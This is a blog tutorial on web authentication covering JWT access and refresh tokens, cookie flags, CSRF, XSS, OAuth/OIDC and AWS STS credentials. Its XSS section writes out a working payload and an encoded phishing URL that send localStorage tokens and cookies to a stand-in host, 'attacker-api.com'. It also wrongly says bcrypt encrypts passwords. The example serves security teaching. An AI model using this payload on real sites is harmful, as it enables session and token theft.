Authentication, Authorization, and OAuth/OIDC

Ishaq BuxIshaq Bux
7 min read

Authentication

Tells you who the user is. It’s all about verifying identity.

Authorization

Tells you what that user is allowed to do. It’s about checking if the client has permission to access a specific resource.


Basic Auth with Access Tokens

Here’s a typical flow for logging a user in and giving them access:

Client → Backend

  • The client sends credentials (like an email and password) to the server.

  • The backend encrypts the password (using a strong algorithm like bcrypt) and compares it to the hash stored in the database. It should never store plain-text passwords.

  • On successful verification, the server generates a JSON Web Token (JWT) as an access token.

  • This access token is sent back to the client. It includes an expiration time (exp claim).

  • The client includes this token in the Authorization header of every subsequent request to access protected resources.

Limitations of This Basic Flow:

  • Leaked Token: If an access token is leaked, an attacker can use it to access resources until it expires.

  • Repetitive Reauthentication: Once the token expires, the user has to log in with their credentials all over again.

  • Security Checks: Lacks robust checks for things like a user’s device, location, or if the user session is still valid.

  • Long-Lived Tokens: To avoid forcing users to log in frequently, you might be tempted to issue long-lived access tokens, which significantly increases the security risk if they are compromised.


Introduction of the Refresh Token

To solve these problems, we introduce a second token: the refresh token.

The goal is to keep the access token’s lifespan very short (e.g., 5–15 minutes) for security. If it leaks, the window of opportunity for an attacker is small. The refresh token is a long-lived token used solely to get a new access token without requiring the user to log in again.

We implement refresh token rotation: when a refresh token is used, a new one is issued, and the old one is immediately invalidated. This helps detect if a refresh token has been stolen, as a stolen token would only work once.

The main justification for refresh tokens: they let you do heavy security checks without slowing everything down.

You can’t afford to check things like the User-Agent, IP address, or device ID on every single API request made with a short-lived access token—it would be way too slow and inefficient. But the refresh process only happens occasionally, maybe just once every hour. This makes it the perfect time to run those extra verifications.

So, by storing the long-lived refresh token in a secure HttpOnly cookie and using it for this periodic security check-up, you get the best of both worlds: tight security without hurting your app’s performance.


Where to Store the Refresh Token?

The most secure place to store a refresh token is in an HttpOnly cookie.

Set-Cookie: refreshToken=abc123; HttpOnly; Secure; SameSite=Strict

Let’s break down these attributes:

  • HttpOnly: This is a crucial security measure. It prevents JavaScript running in the browser from accessing the cookie, which helps protect against Cross-Site Scripting (XSS) attacks.

  • Secure: This ensures the cookie is only sent over HTTPS, protecting it from being intercepted in transit.

  • SameSite=Strict: This attribute prevents the browser from sending the cookie with cross-site requests, which is a powerful defense against Cross-Site Request Forgery (CSRF) attacks.


A Note on CSRF Attacks

A CSRF attack tricks a user’s browser into sending an authenticated request to a vulnerable web application. This often happens when a malicious site embeds a hidden form or image that automatically submits a request to another domain where the user is already logged in.

Without SameSite protection or other CSRF tokens, the browser would automatically include the user’s session cookies, making the forged request appear legitimate to the server.


A Note on XSS Attacks

An XSS attack can happen if you render user-provided input without sanitizing it first. For example, injecting this into a page could steal tokens from localStorage:

HTML Code in query:

<img src=x onerror="fetch('https://attacker-api.com/steal', {
  method: 'POST',
  body: JSON.stringify({
    token: localStorage.getItem('accessToken'),
    all_cookies: document.cookie
  })
})">

Phishing URL:

https://vulnerable-website.com/search?query=%3Cimg%20src=x%20onerror=%22fetch(%27https://attacker-api.com/steal%27,%20{%20method:%20%27POST%27,%20body:%20JSON.stringify({%20token:%20localStorage.getItem(%27accessToken%27),%20all_cookies:%20document.cookie%20})%20})%22%3E

Since an HttpOnly cookie can’t be accessed by document.cookie or localStorage, it’s safe from this specific theft vector.


The Modern SPA Dilemma

In modern web applications, the frontend (like a React or Angular app) and the backend are often deployed on different domains. This architecture makes SameSite=Strict unusable. For the browser to send the cookie, you must set:

SameSite=None; Secure

However, this re-opens the door to CSRF attacks.

While you can mitigate this with specific CORS configurations on the backend and by requiring the client to pass:

credentials: 'include'

...with every request, it adds complexity.

Because of these challenges, and for greater control, many modern Single-Page Applications (SPAs) choose to store the refresh token in memory or localStorage. This is a trade-off: it simplifies cross-domain communication but makes the token more vulnerable to XSS attacks.

Therefore, a very strong Content Security Policy (CSP) and strict input sanitization become absolutely critical.

Note: localStorage should only be used if you have no other choice, and only with extremely tight CSP + sanitization. Prefer HttpOnly cookies wherever possible—even across domains, using SameSite=None + CSRF tokens.


Refreshing the Token: The Verification Process

When a client requests a new access token using a refresh token, the server should perform several checks to ensure the request is legitimate:

  • Has the token been revoked?

  • Token Rotation: Does the refresh token match the one expected in the rotation sequence?

  • Client Fingerprinting: Is the request coming from the same context as before? This can include checking:

    • Device ID: A unique identifier for the client device.

    • IP Address: While not always reliable (due to VPNs), a sudden change can be a red flag.

    • User-Agent: Provides information about the browser and operating system.


OAuth and OpenID Connect (OIDC)

OAuth 2.0 is a framework for authorization. It’s designed to grant a third-party application limited access to a user’s resources on another service, without sharing the user’s password.

Think of clicking "Log in with Google" and giving an app permission to access your Google Calendar.

Initially, developers misused OAuth for authentication. After a user clicked "Allow access to my files," the app would get an access token. The developer would then call an identity endpoint like /me or /userinfo to get user details and log them in.

This was unreliable because:

  • There was no standard format for the user info.

  • The app couldn’t validate the access token to confirm its authenticity.

  • The app wouldn’t know if the user had logged out of the identity provider or revoked access.


This Is Where OpenID Connect (OIDC) Comes In

OIDC is a thin layer built on top of OAuth 2.0 that adds authentication. When people talk about "using OAuth for login," they almost always mean OAuth + OIDC.

OIDC Introduces:

  • An ID Token (another JWT), which contains standardized user information.

  • Standardized scopes like openid, profile, and email.

  • A standard /userinfo endpoint.


The OIDC Authentication Flow

  1. Frontend → Backend: A user clicks "Login." The backend initiates the process and redirects the user to the Identity Provider (IdP), like Okta or Google.

  2. IdP Authentication: The user authenticates with the IdP (e.g., enters their Google password). The IdP then redirects back to the application with a temporary authorization code.

  3. Frontend → Backend: The frontend sends this authorization code to the backend.

  4. Backend → IdP: The backend securely exchanges the authorization code with the IdP for:

    • An ID Token

    • An Access Token

    • A Refresh Token

  5. Backend Verification: The backend verifies the ID Token’s signature and claims. It then creates its own session for the user, issuing its own access and refresh tokens to the frontend to manage the session within the application.

  6. Logout: If a user logs out of the IdP (e.g., logs out of their Google account globally), the IdP can notify the application to trigger a local logout as well.


Bonus: How This Connects to Cloud Services (AWS Example)

After your backend (e.g., running on EC2 or Lambda) authenticates a user with a service like Amazon Cognito, it receives JWT access and refresh tokens.

These JWTs are understood by AWS front-facing services like API Gateway or AppSync, which can authorize API requests directly using the Cognito Identity Pools authorizer.

However, core AWS services like S3, DynamoDB, or Lambda don’t understand JWTs. They authenticate requests using AWS IAM credentials and a process called Signature Version 4 (SigV4).


So, how does your backend code access these services on behalf of the user?

It uses the user’s JWT to request temporary IAM credentials (containing an AccessKeyId, a SecretAccessKey, and a SessionToken) from the AWS Security Token Service (STS).

Your backend then uses these temporary, short-lived credentials to sign its requests to other AWS services. This ensures that access is:

  • Secure

  • Temporary

  • Scoped down to only what that specific user is permitted to do

0
Subscribe to my newsletter

Read articles from Ishaq Bux directly inside your inbox. Subscribe to the newsletter, and don't miss out.

Written by

Ishaq Bux
Ishaq Bux